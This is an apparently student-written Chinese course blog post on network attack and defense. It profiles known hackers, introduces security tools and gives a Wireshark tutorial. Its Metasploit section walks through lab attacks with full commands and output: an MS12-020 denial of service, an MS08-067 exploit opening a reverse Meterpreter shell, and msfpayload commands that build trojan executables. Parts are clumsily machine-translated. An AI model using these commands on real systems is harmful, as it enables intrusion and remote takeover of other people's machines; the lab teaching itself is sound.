博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
《网络攻防》第二周作业
阅读量:5280 次
发布时间:2019-06-14

本文共 25787 字,大约阅读时间需要 85 分钟。

一、国内外著名黑客

1.国外:

莫里斯

罗伯特·塔潘-莫里斯(Robert Tappan Morris), 这位美国国家计算机安全中心(隶属于 NSA)首席科学家的儿子, 的高材生,在1988年的第一次工作过程中戏剧性地散播出了 后,“Hacker”一词开始在英语中被赋予了特定的含义。在此次的事故中成千上万的电脑受到了影响,并导致了部分电脑崩溃。是他让黑客真正变得“黑”。
罗伯特·莫里斯
第一次接触计算机:在家里。 的父亲曾从NSA把一台原始的神秘的密码机器带到家里。它成为一家人的谈资。
1988年冬天,正在 攻读的莫里斯,把一个被称为“ ”的电脑病毒送进了美国最大的电脑网络--互联网。1988年11月2日下午5点,互联网的管理人员首次发现网络有不明入侵者。它们仿佛是网络中的超级间谍,狡猾地不断截取用户口令等网络中的“机密文件”,利用这些口令欺骗网络中的“哨兵”,长驱直入互联网中的用户电脑。入侵得手,立即反客为主,并闪电般地自我复制,抢占地盘。
当警方已侦破这一案件并认定莫里斯是闯下弥天大祸的“作者”时, 法庭却迟迟难以对他定罪。在当时,对制造电脑病毒事件这类行为定罪,还是世界性的难题。 在1987年曾发生过汽车厂的电脑人员用病毒破坏生产线的事件,法庭只能用“流氓罪”草草了事。
1990年5月5日,纽约地方法庭根据罗伯特·莫里斯设计病毒程序,造成包括国家航空和航天局、军事基地和主要大学的计算机停止运行的重大事故,判处莫里斯三年缓刑,罚款一万美金,义务为新区服务400小时。莫里斯事件震惊了美国社会乃至整个世界。而比事件影响更大、更深远的是:黑客从此真正变黑,黑客伦理失去约束,黑客传统开始中断。大众对黑客的印象永远不可能恢复。而且,计算机病毒从此步入主流。
 
 

2.国内:

龚蔚(Goodwell)中国黑客教父, 创始人, 发起人。1999年,龚蔚率领 “绿色兵团”成立上海绿盟信息技术公司。
计算机信息管理专业本科,注册审计师、CISP 认证讲师、ISO27001  、CCIE 安全、 。
 
龚蔚先生 毕业后开始创办创办绿盟网络安全技术有限公司,开始了在互联网信息安全领域的工作,至今已十二年。先后就职于外资企业ISS (中国)、 软件(中国)创建安全事业部。
支持并参与的大型安全服务项目有几百余个,网络安全的足迹踏遍中国的所有城市,例如江苏电信、 、广西电信、玉溪电信的安全评估服务项目, 、四川天府热线安全评估项目;广西移动、 、江苏联通、浙江联通风险安全服务;金融行业中的 、 、 、武汉税务局、申银万国证券公司等提供安全评估服务;政府企业中的上海市委宣传部、总参61所、常熟电力、上海电力、 等提供风险安全评估服务。
十几年的专注互联网信息安全事业,龚蔚先生被业内尊称为 领头雁, ,曾多次接受 、 , 、 、 、数百家媒体的专访。1999年 、2010年曾两次做为互联网信息安全专家接受CCTV专访,畅谈互联网信息安全的未来发展方向。
2005年接受全国高校邀请龚蔚先生参加了中国十所高校的巡回演讲,在年轻的学子们心中深深的埋下了互联网信息安全领域的种子。
2010年龚蔚先生被评为2010中国影响力人物,在北京 接受相关领导的接见。
2011年由龚蔚先生提议创办的COG信息非盈利技术团队,正式注册为COG信息安全专业委员会,其主导召开的COG峰会400多人的参会人员名单几乎包括了中国互联网信息安全最具实力的一批技术力量,会议讨论的相关议题内容及统计数据被300多家互联网及平面媒体引用。
 
 
 

二、安全工具、库

(一)简介

1.
Wireshark(称为Ethereal直到2006年夏天的商标之争)是一个很好的开源多平台网络协议分析仪。 它允许您从现场检查数据网络或磁盘上的捕获文件。 你可以交互式地浏览获取相关的数据,深入到包的细节你需要的水平。 Wireshark有几个强大的功能,包括显示过滤器语言丰富,能够查看TCP会话的重建流。 它还支持数以百计的协议和媒体类型。 一个
例如控制台版本命名tshark包括在内。 谨慎的一个词是Wireshark饱受几十个远程利用的安全漏洞,因此保持更新和运行它警惕不可信或敌对的网络(如安全会议)。
 

2.Metasploit全球安全风暴时,它在2004年被释放。 是一个先进的开源平台的开发、测试和使用开发代码。 有效载荷的可扩展模型,编码器,无操作发电机,利用可以集成成为可能使用etasploit框架作为尖端的开发研究的一个出口。 它附带数以百计的利用,可以看到他们。 这使得编写自己的功绩更容易,这总比在黑暗的角落互联网非法shellcode可疑的质量。 一个免费的额外的,一个故意不安全的Linux虚拟机可以用于测试Metasploit和其他开发工具没有触及服务器。

Metasploit是完全免费的,但项目收购在2009年,很快就发芽商业变体。 框架本身仍然是自由和开放源码,但是他们现在也提供free-but-limited Community edition,更高级的Express edition(每个用户每年5000美元),和一个全功能的专业版。 其他开发工具考虑支付(更昂贵的)(少)。

Metasploit框架现在包括一个拉斐尔玛吉的优秀。 

 

3.Nessus是最受欢迎的之一,漏洞扫描器能力,特别是对UNIX系统。 它最初是自由和开放源码,但他们在2005年和在2008年。 现在每年花费2190美元,仍然比许多竞争对手。 一个免费的“Nessus回家”版本也可以,虽然是有限的,只有获得家庭网络使用的许可。

Nessus不断更新,70000多个插件。 关键特性包括远程和本地安全检查(身份验证),客户机/服务器体系结构和基于web的界面,和嵌入式脚本语言编写自己的插件或理解现有的

 
4.Aircrack是一套工具为802.11 a / b / g WEP和WPA开裂。 它实现了最著名的破解算法恢复无线钥匙曾经收集了足够的加密包。。 套件包含十几个离散的工具,包括airodump(802.11包捕获程序),aireplay(802.11一个数据包注入程序),aircrack(静态WEP和WPA-PSK开裂),和airdecap(解密WEP或WPA捕获文件)
 
 
5.
这个网络入侵检测和预防系统擅长在IP网络流量分析和包日志记录。 通过协议分析、内容搜索和各种预处理器,Snort检测成千上万的虫子,漏洞利用的尝试,端口扫描,和其他可疑行为。 Snort使用一个灵活的基于规则的语言来描述交通应该收集或通过,和模块化的检测引擎。 也看看免费的
,一个web接口来分析Snort警报。

虽然Snort本身是免费和开源的,母公司提供他们VRT-certified规则每年499美元/传感器和一个互补的产品线的软件和设备更多的企业级功能。 Sourcefire还提供了一个免费的30天延迟饲料。

 

(二)具体使用教程

1..Wireshark

基本使用

以下的介绍都是以mac下的wireshark 1.12.2版本为基础。

认识界面

说明:

常用按钮从左到右的功能依次是:

1、列出可用接口。

2、抓包时需要设置的一些选项。一般会保留最后一次的设置结果。

3、开始新的一次抓包。

4、暂停抓包。

5、继续进行本次抓包。

6、打开抓包文件。可以打开之前抓包保存后的文件。不仅可以打开wireshark软件保存的文件,也可以打开tcpdump使用-w参数保存的文件。

7、保存文件。把本次抓包或者分析的结果进行保存。

8、关闭打开的文件。文件被关闭后,就会切换到初始界面。

9、重载抓包文件。

设置数据抓取选项

点击常用按钮中的设置按钮,就会弹出设置选项对话框。在这个对话框中我们可以选中需要监听的接口,设置混杂模式,设置抓取数据包的过滤条件。如下图:

首先,选中需要监听获取数据包的接口。接口列表区列出了所有可以使用的接口。如果接口前面的复选框被选中,说明对这个接口监听捕获数据包。

其次,设置混杂模式。设置混杂模式的作用是将网卡设置到混杂模式。如果不设置混杂模式,你的计算机只能获取数据包发往的目标是你计算机和从你计算机出去的数据包。如果设置了混杂模式,你就可以捕获局域网中所有的数据包。如果窗口中的 "Use promiscuous mode on all interfaces"前面的复选框被选中,说明对所有的接口使用混杂模式。如果想单独设置,可以双击接口列表中的接口,会弹出如下的对话框。然后选中或者去掉“Capture packets in promiscuous mode”前面复选框。然后点ok按钮。

再次,设置捕获过滤条件。在点设置按钮弹出的主设置对话框中和双击接口列表弹出的对话框中都会有“Capture Filter”项。在文本框中我们可以设置捕获过滤条件。如,我们只捕获http相关的数据包,我们就可以设置捕获条件为“port 80”。因为http使用的是80端口。

最后,所有的设置完毕后,点击设置主窗口中的“Start”按钮,开始捕获数据。数据捕获完后,可以点常用按钮中的“保存”按钮保存数据。

使用显示过滤器

显示过滤器应用于捕获文件,用来告诉wireshark只显示那些符合过滤条件的数据包。显示过滤器比捕获过滤器更常用。他可以用来过滤不想看到的数据包,但是不会把数据删除。如果想恢复原状,只要把过滤条件删除即可。

过滤器表达式对话框,是的wireshark的可以很简单的设置过滤表达式。点击“Expression”按钮就可以打开这个对话框。如下图:

对话框分左中右三部分。左边为可以使用的所有协议域。右边为和协议域相关的条件值。中间为协议域与条件值之间的关系。过滤器表达式对于初学者很有用。如上图,我们创建的表达式的作用是,只显示http协议包中包含关键词“bo56.com”的所有数据包。

Field name说明:

这个列表中展示了所有支持的协议。点击前面的三角标志后,可以列出本协议的可过滤字段。当选中“Field name”列表中的任何一项,只需要输入你想要的协议域,就会自动定位到相应的协议域选项。

Relation说明:

is present    如果选择的协议域存在,则显示相关数据包。
contains     判断一个协议,字段或者分片包含一个值
matches             判断一个协议或者字符串匹配一个给定的Perl表达式。

Value(Protocol)说明:

此处输入合适的值。如果选择的协议域和这个值满足Relation中指定的关系,则显示相关数据包。

Predefined values说明:

有些协议域包含了预先定义的值,有点类似于c语言中的枚举类型。如果你选择的协议域包含这样的值,你可以在这个列表中选择。

Function函数说明:

过滤器的语言还有下面几个函数:
upper(string-field)-把字符串转换成大写
lower(string-field)-把字符串转换成小写
upper((和lower((在处理大小写敏感的字符串比较时很有用。例如:
upper(ncp.nds_stream_name) contains "BO56.COM"
lower(mount.dump.hostname) =="BO56.COM"

如果你熟悉了这个规则之后你就会发现手动输入表达式更有效率。当时手动在flter文本框中输入表达时,如果输入的语法有问题,文本框的背景色会变成红色。这时候,你可以继续输入或者修改,知道文本框中的表达式正确后,文本框的背景色又会变成绿色。

使用着色规则

你经常会在数据包列表区域中看到不同的颜色。这就是wireshark做的很人性化的一方面。它可以让你指定条件,把符合条件的数据包按指定的颜色显示。这样你查找数据包会更方便些。下面我们说一下如何设置颜色规则。

点击“view”菜单,然后选择“Coloring Rules”选项就会弹出设置颜色规则设置对话框。你点击颜色规则设置的快捷按钮也可以打开颜色设置对话框。如下图:

打开的对话框中默认已经有一些规则。我们抓取的数据包中经常会看到一些不同的颜色,就是应用的这些默认的规则。点击“New”按钮可以添加规则。如下图:

name字段中填写规则的名称,方便记忆。

string字段中填写过滤规则。这里的语法和显示规则表达式一致。点击 上图中的“Expression”按钮,你就会看到熟悉的规则表达式对话。

Foreground Color按钮用于选择前景色。

Background Color按钮用于选择背景色。

Disabled按钮用于指示是否禁用这条规则。

点击ok按钮后,规则自动会添加到规则列表中的最前端。

注意:wireshark在应用规则的时候,是按自上而下的顺序去应用规则。因此刚添加的规则会优先应用。如果你想调整顺序,可以选中要调整顺序的规则,然后点击右边的“UP” 或则 “Down” 按钮。

颜色规则设置好后,只需要点apply按钮就可以应用规则了。规则效果应用如下图:

 

使用图表

图形分析是数据分析中必不可少的一部分。也是wireshark的一大亮点。wireshark有不同的图形展现功能,以帮助你了解捕获的数据包。下面我们对经常使用的IO图,双向时间图做下介绍。

IO图

wireshark的IO图让你可以对网络上的吞吐量绘图。让你了解网络数据传输过程中的峰值和波动情况。通过“Statistics”菜单中的“IO Graphs”选项可以打开这个IO图对话框。如下图:

可以看到IO图表对话框中会分为三个区。

过滤器区:设置过滤条件,用于图形化展示过滤条件相关数据包的变化情况。而且可以为每个不同的条件指定不同的颜色。过滤条件的语法和之前介绍的显示过滤器的语法一致。过滤条件为空,此图形显示所有流量。

坐标区:在这里可以设置图表的x轴和y轴。x轴为时间,y轴为包的数量。如图,我们设置Y轴的单位是Bytes/Tick。

趋势图区:根据过滤器设置的条件和坐标区设置,数据分析后回在这个区域以图形化方式展示。点击图形中的点,会自动定位到相应的数据包。点击趋势图中的低谷点,你会发现大量的数据包重传。

IO图表还可以通过函数对数据进行聚合处理。

点击Y轴中Unit选项中的Advanced后,就会再过滤器区就会增加Calc选项。如下图:

相关函数说明:

MIN( ), AVG( ), MAX( ) 分别是统计协议域中数值的最小,平均和最大值。注意,这三个聚合函数只对协议域的值为数字的才有效。

Count( ) 此函数计算时间间隔内事件发生的次数,在查看TCP分析标识符时很有用,例如重传。

Sum( ) 该函数统计事件的累加值。和MIN()函数一样,这个也只有协议域的值为数字的情况下才有效。

双向时间图

wireshark还有一个功能就是可以对网络传输中的双向时间进行绘图。双向时间(round-trip time, RTT),就是一个数据包被确认正常接收所花费的时间。以tcp协议为例,就是你push一个数据到一台主机,主机回应一个ack给你的主机,你的主机并成功接收ack回应。这两个过程花费的时间总和就是双向时间。双向时间通常用来寻找网络传输过程中的慢点和瓶颈,用以判断网络传输是否有延迟。

通过“Statistics”菜单中的“Tcp  StreamGraph”中的“Round Trip Time Graph”选项可以打开这个双向时间图对话框。如下图:

这个图表中的每个点代表一个数据包的双向时间。你可以单机图表中的任何一点,然后在数据包列表区就会自动定位到相应的数据包。从数据表来看,我们下载压缩包还是比较稳定的。数据包的rtt时间大多数在0.05s以下,其他大多数在0.1s左右,少数超过了1.5s。

跟踪tcp流

Wireshark分析功能中最不错的一个功能是它能够将TCP流重组。重组后的数据格式更容易阅读。跟踪TCP流这个功能可以将接收到的数据排好顺序使之容易查看,而不需要一小块一小块地看。这在查看HTTP、FTP等纯文本应用层协议时非常有用。

我们以一个简单的HTTP请求举例来说明一下。打开wireshark_bo56_pcap.pcapng,并在显示过滤器中输入“http contains wireshark”,点击“apply”按钮后,在数据包列表框中就会只剩下一条记录。如下图。

右键单击这条记录并选择Follow TCP Stream。这时TCP流就会在一个单独的窗口中显示出来。如下图:

我们看到这个窗口中的文字会有两种颜色。其中红色用于表示从源地址到目标地址的流量。在我们的例子里面就是从我们本机到web服务器的流量。你可以看到最开始的红色部分是一个GET请求。蓝色部分是和红色部分相反的方向,也就是从目标地址到源地址的流量。在我们的例子中,蓝色部分的第一行是“HTTP/1.1 200 OK”,是来自服务器的一个http成功响应。

在这个窗口中除了能够看到这些原始数据,你还可以在文本间进行搜索,将其保存成一个文件、打印,或者以ASCII码、EBCDIC、十六进制或者C数组的格式去查看。这些选项都可以在跟踪TCP流窗口的下面找到。

 

2.Metasploit

1、基础知识


1.1 简介

Metasploit是一款开源安全漏洞检测工具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。

Metasploit Framework最初是 HD Moore 个人的想法,当时他在一家安全公司工作,他于2003年10月发布了第一个基于Perl的Metasploit版本,一开始只有共11个漏洞利用程序。后来随着Spoonm帮助和加入,HD发布于2004年4月重写了该项目并发布了Metasploit2.0。此版本包括19个漏洞和超过27个payload。在这个版本之发布后不久,马特米勒(Skape)加入了Metasploit的开发团队,使得该项目日益流行,Metasploit Framework也收到来自信息安全界的大力支持,并迅速成为一个渗透测试必备的工具。

在2004年8月HD Moore 和 Spoonm 等4名年轻人在black hat会议上首次公布了该项目,Metasploit的团队在2007年使用Ruby编程语言完全重写并发布了Metasploit3.0,这次Metasploit从Perl到Ruby的迁移历时18个月,增加超过15万行的新代码。随着3.0版本的发布,Metasploit开始被广泛的采用,在整个安全社区也受到了大幅增加的帮助和贡献。 请输入图片描述

在2009年秋季,Rapid7收购了Metasploit,Rapid7是一个在漏洞扫描领域的领导者公司,被收购之后,Rapid7公司允许HD建立一个团队,仅仅着重于Metasploit Framework的开发。也正由于这样,这次收购使得Metasploit Framework开始更迅速地发展。HD Moore也成为了Rapid7公司的CSO(Chief Security Officer),同时他也是Metasploit的首席架构师。

1.2 专业术语

渗透攻击(Exploit),指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。

攻击载荷(Payload),是我们期望目标系统在被渗透攻击之后去执行的代码。

Shellcode,是在渗透攻击是作为攻击载荷运行的一组机器指令,通常用汇编语言编写。

模块(Module),指Metasploit框架中所使用的一段软件代码组件,可用于发起渗透攻击或执行某些辅助攻击动作。

监听器(Listener),是Metasploit中用来等待网络连接的组件。

1.3 用户接口

终端(Msfconsole),是Metasploit框架最受欢迎的用户接口,提供与用户交互式的输入,可以用它来做任何事情。 启动终端:在命令行里输入msfencode即可。

light@kali:~# msfconsoleIIIIII    dTb.dTb        _.---._  II     4'  v  'B   .'"".'/|\`.""'. II 6. .P : .' / | \ `. : II 'T;. .;P' '.' / | \ `.' II 'T; ;P' `. / | \ .' IIIIII 'YvP' `-.__|__.-' I love shells --egypt Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro Learn more on http://rapid7.com/metasploit =[ metasploit v4.10.0-2014082101 [core:4.10.0.pre.2014082101 api:1.0.0]] + -- --=[ 1331 exploits - 722 auxiliary - 214 post ] + -- --=[ 340 payloads - 35 encoders - 8 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf >

命令行(msfcli),msfcli脚本处理和其他命令工具的互操作性。 Armitage,Metasploit框架中一个完全交互式的图形化用户接口。

1.4 功能程序

MSF攻击载荷生成器(msfpayload),用于生成自己定制的shellcode、可执行代码等。

MSF编码器(msfencode),帮助msfpayload进行编码处理,避免坏字符,以及逃避杀毒软件和IDS的检测。

2、Metasploit实验


2.1 MS12-020漏洞利用演示实验

2.1.1 微软关于MS12-020漏洞的安全公告: 

2.1.2 实验准备工作

1、该漏洞利用远程桌面的漏洞进行攻击,所以需要靶机xp系统打开远程桌面功能。

2、检查确定渗透测试系统与靶机系统可以互相ping通。

2.1.3 实验步骤 1、渗透测试系统中,在终端输入msfconsole进入msf终端,接着在msf终端中使用search功能搜索ms12-020,发现有两个可用模块:

msf > search ms12-020 Matching Modules================   Name                                              Disclosure Date  Rank    Description   ----                                              ---------------  ----    -----------   auxiliary/dos/windows/rdp/ms12_020_maxchannelids 2012-03-16 normal MS12-020 Microsoft Remote Desktop Use-After-Free DoS auxiliary/scanner/rdp/ms12_020_check normal MS12-020 Microsoft Remote Desktop Checker

2、使用use命令选定要利用的模块:

msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelidsmsf auxiliary(ms12_020_maxchannelids)

3、查看需要填写的参数,这里需要填写靶机ip。

msf auxiliary(ms12_020_maxchannelids) > show options  Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 3389 yes The target port msf auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.116.129 RHOST => 192.168.116.129

4、最后输入命令“run”,执行我们的auxiliary攻击模块:

msf auxiliary(ms12_020_maxchannelids) > run [*] 192.168.116.129:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS [*] 192.168.116.129:3389 - 210 bytes sent [*] 192.168.116.129:3389 - Checking RDP status... [+] 192.168.116.129:3389 seems down [*] Auxiliary module execution completed

5、靶机系统受到攻击后蓝屏

 

2.2 MS08-067漏洞利用演示实验

2.2.1 微软关于MS18-067漏洞的安全公告:

2.2.2 实验步骤

1、进入msf终端后,使用search功能搜索ms08-067,发现有一个可用模块:

msf > search ms08-067 Matching Modules================    Name                                 Disclosure Date  Rank   Description   ----                                 ---------------  ----   -----------   exploit/windows/smb/ms08_067_netapi 2008-10-28 great MS08-067 Microsoft Server Service Relative Path Stack Corruption

2、使用use命令选定要利用的模块:

msf > use exploit/windows/smb/ms08_067_netapimsf exploit(ms08_067_netapi) >

3、接下来,light教授设置攻击载荷为基于Windows系统的Meterpreter reverse_tcp ,这个载荷在攻击之后,会从目标主机发起一个反弹连接,连接到LHOST中指定的IP地址(也就是我们俗称的反弹马)。这种反弹连接可以让你绕过防火墙的入站流量保护,或者穿透NAT网关。

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp

4、使用“show targets”命令让我们识别和匹配目标操作系统的类型。(大多数MSF渗透攻击模块会自动对目标系统类型进行识别,而不需要手工指定此参数,但是针对MS08-067漏洞的攻击中,通常无法正确的自动识别出系统类型。)

msf exploit(ms08_067_netapi) > show targets  Exploit targets:    Id  Name   --  ----   0 Automatic Targeting 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows XP SP2 English (AlwaysOn NX) 4 Windows XP SP2 English (NX) 5 Windows XP SP3 English (AlwaysOn NX) 6 Windows XP SP3 English (NX) 7 Windows 2003 SP0 Universal 8 Windows 2003 SP1 English (NO NX) 9 Windows 2003 SP1 English (NX) 10 Windows 2003 SP1 Japanese (NO NX) 11 Windows 2003 SP2 English (NO NX) 12 Windows 2003 SP2 English (NX) 13 Windows 2003 SP2 German (NO NX) 14 Windows 2003 SP2 German (NX) 15 Windows XP SP2 Arabic (NX) 16 Windows XP SP2 Chinese - Traditional / Taiwan (NX) 17 Windows XP SP2 Chinese - Simplified (NX) ......

5、选定系统编号(TARTGET),设置靶机IP(RHOST)与本机IP(LHOST)

msf exploit(ms08_067_netapi) > set TARGET 17TARGET => 17 msf exploit(ms08_067_netapi) > set RHOST 192.168.116.129 RHOST => 192.168.116.129 msf exploit(ms08_067_netapi) > set LHOST 192.168.116.128 LHOST => 192.168.116.128

6、使用“show options”命令查看当前参数设置情况:

msf exploit(ms08_067_netapi) > show options  Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.116.129 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none) LHOST 192.168.116.128 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 17 Windows XP SP2 Chinese - Simplified (NX)

7、参数检查无误后,输入“exploit”对靶机进行攻击。当返回meterpreter提示符表示利用成功。

msf exploit(ms08_067_netapi) > run [*] Started reverse handler on 192.168.116.128:4444 [*] Attempting to trigger the vulnerability... [*] Sending stage (769536 bytes) to 192.168.116.129 [*] Meterpreter session 1 opened (192.168.116.128:4444 -> 192.168.116.129:1036) at 2015-06-01 03:10:26 -0400

8、可以利用vnc对靶机进行图形化远程控制,命令:run vnc 。Meterpreter还有很多强大的功能,我们将在后续的章节详细介绍。

3、Meterpreter


3.1 简介

Metasploitv4之后的新版本中,Meterpreter作为后渗透攻击模块的实施通道,可以根据渗透测试目标需求进行灵活扩展。

涉及范围: 信息搜集、口令攫取、权限提升、内网拓展等。

3.2 Meterpreter技术优势

1、平台通用性 提供了各种主流操作系统和平台上的meterpreter版本,包括windows、linux、BSD,并同时支持x86和x64平台。另外还提供基于java和php语言的实现,以应对各种不同环境。

2、纯内存工作模式 工作时直接装载meterpreter的动态链接库到目标进程空间,而不是先上传到磁盘,再调用loadlibrary加载动态链接库启动。这样启动隐蔽,很难被杀毒软件检测到,也不会再目标主机磁盘留下任何痕迹。

3、灵活且加密的通信协议 采用TLV(type length value)数据封装格式;通信数据经过XOR加密,然后调用OpenSSL库进行SSL封装传输,保证传输的保密和隐蔽性。

4、易于扩展 Meterpreter的插件以动态链接库文件的形式存在,可以选择你喜欢的编程语言按照Meterpreter的接口形式编写你需要的功能,然后编译成动态链接库,拷贝至相应目录即可。

3.3 Meterpreter常用命令

1、基本命令(包含meterpreter和msf终端、ruby接口、目标shell交互的命令)

background(进程隐藏至后台)sessions(查看已经成功获取的会话,-i 恢复会话)quit(关闭当前会话)shell (获取系统控制台shell,如果目标系统命令行可执行程序不存在或禁止访问, 则shell命令会出错)irb(与Ruby终端交互,调用metasploit封装好的函数;在irb中还可以添加metasploit附加组件railgun,直接与windows本地API进行交互)

2、文件系统命令(与目标文件系统交互,包括查看、上传下载、搜索、编辑)

cat(目标系统文件交互)getwd(获取目标机当前工作目录,getlwd本地当前工作工作目录)upload(上传文件或文件夹到目标机 -r 递归)download(从目标机下载文件或文件夹 -r 递归)edit(调用vi编辑器,对目标上的文件进行编辑)search(对目标机的文件进行搜索)

3、网络命令(查看目标网络状况、连接信息,进行端口转发等)

ipconfig(获取目标主机上的网络接口信息)portfwd(端口转发:将目标主机开放但不允许访问的端口进行转发)route(显示目标主机路由信息)

4、系统命令(查看目标系统信息、对系统进行基本操作等)

ps(查看目标机正在运行的进程信息)migrate(将meterpreter会话进程迁移到另一个进程内存空间)execute(在目标机上执行文件)getpid(当前会话所在进程的pid值)kill(终结指定的pid程序)getuid(获取当前会话用户名)sysinfo(获取系统信息)shutdown(关闭目标主机)

5、用户接口命令

screenshot(截获被控主机当前桌面)

3.4 后渗透模块

MetasploitV4.0正式引入后渗透模块,其格式与渗透攻击模块相统一,位于post/ 目录下,用于实现特殊或定制的功能。

Meterpreter在渗透测试中的范围:

范围包括:权限提升、信息窃取、口令攫取和利用、内网拓展、掩踪灭迹、维持访问。

4、攻击载荷(Msfpayload)


4.1 简介

攻击载荷(msfpayload)是我们期望目标系统在被渗透攻击后去执行的代码,在metasploit框架中可以自由的选择、传送和植入。

使用命令“msfpayload -l”可以查看攻击载荷列表:

light@kali:~# msfpayload -l Framework Payloads (340 total)==============================     Name                                             Description    ---- ----------- aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell aix/ppc/shell_find_port Spawn a shell on an established connection aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs) aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell android/meterpreter/reverse_http Run a meterpreter server on Android. Tunnel communication over HTTP android/meterpreter/reverse_https Run a meterpreter server on Android. Tunnel communication over HTTPS android/meterpreter/reverse_tcp Run a meterpreter server on Android. Connect back stager android/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP android/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HTTPS android/shell/reverse_tcp Spawn a piped command shell (sh). Connect back stager bsd/sparc/shell_bind_tcp Listen for a connection and spawn a command shell bsd/sparc/shell_reverse_tcp Connect back to attacker and spawn a command shell bsd/x86/exec Execute an arbitrary command bsd/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service bsd/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service bsd/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for a connection over IPv6 bsd/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection bsd/x86/shell/find_tag Spawn a command shell (staged). Use an established connection bsd/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to the attacker over IPv6 bsd/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker bsd/x86/shell_bind_tcp Listen for a connection and spawn a command shell bsd/x86/shell_bind_tcp_ipv6 Listen for a connection and spawn a command shell over IPv6 bsd/x86/shell_find_port Spawn a shell on an established connection bsd/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe) bsd/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell bsd/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6 ....

4.2 利用msfpayload生成meterpreter反弹木马实验

1、下面我们利用msfpayload生成一个windows下运行的反弹meterpreter木马,命令为:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=10086 X > Desktop/muma01.exe
light@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=10086 X > Desktop/muma01.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length: 287 Options: { "LHOST"=>"192.168.116.128", "LPORT"=>"10086"}

参数解释:msfpayload后面跟生成木马所选用的攻击载荷,后面在加上攻击载荷所需要的参数(上例中需要设置的是本地系统的IP与端口),“X”表示生成可执行文件,“>”号后面跟自定义的生成文件的路径与文件名。

2、可以检查一下文件属性,看到是有效的windows可执行程序:

light@kali:~# file Desktop/muma01.exe Desktop/muma01.exe: PE32 executable (GUI) Intel 80386, for MS Windows

3、在本地渗透测试系统中进入msfconsole并开启监听:

use exploit/multi/handler

,然后指定要监听的的攻击载荷类型:

set PAYLOAD windows/meterpreter/reverse_tcp

,最后设置好对应的参数,开启监听。

msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.116.128 LHOST => 192.168.116.128 msf exploit(handler) > set LHOST 10086 LHOST => 10086 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.116.128:10086 [*] Starting the payload handler...

4、在我们的windows靶机下打开刚才由msfpayload生成的木马文件。

5、在渗透测试系统的msfconsole中看到反弹马已经成功返回meterpreter,实验成功!

msf exploit(handler) > exploit [*] Started reverse handler on 192.168.116.128:10086 [*] Starting the payload handler... [*] Sending stage (769536 bytes) to 192.168.116.129 [*] Meterpreter session 1 opened (192.168.116.128:10086 -> 192.168.116.129:1036) at 2015-06-01 03:10:26 -0400 meterpreter >

4.3 直连型木马(bind_tcp)生成实验

实验之前我们先用一张图简单展示一下反弹型与直连型木马的区别。

1、使用msfpayload生成一个windows下运行的直连型meterpreter木马,命令:

msfpayload windows/meterpreter/bind_tcp RHOST=192.168.198.224 LPORT=10086 X > Desktop/muma02.exe

因为是直连,所以参数里的IP是靶机IP(RHOST),这里要注意区分。

light@kali:~# msfpayload windows/meterpreter/bind_tcp RHOST=192.168.198.224 LPORT=10086 X > Desktop/muma02.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/bind_tcp Length: 295 Options: { "RHOST"=>"192.168.198.224", "LPORT"=>"10086"}

2、设置监听(注意参数)

msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.116.128 LHOST => 192.168.116.128 msf exploit(handler) > set LHOST 10086 LHOST => 10086 msf exploit(handler) > exploit [*] Starting the payload handler... [*] Started bind handler

3、靶机运行木马后,攻击端成功连接。

[*] Starting the payload handler...[*] Started bind handler [*] Sending stage (769536 bytes) to 192.168.116.129 [*] Meterpreter session 1 opened (192.168.116.128:10086 -> 192.168.116.129:1036) at 2015-06-01 03:10:26 -0400 meterpreter >

5、MSF编码(Msfencode)


5.1 简介

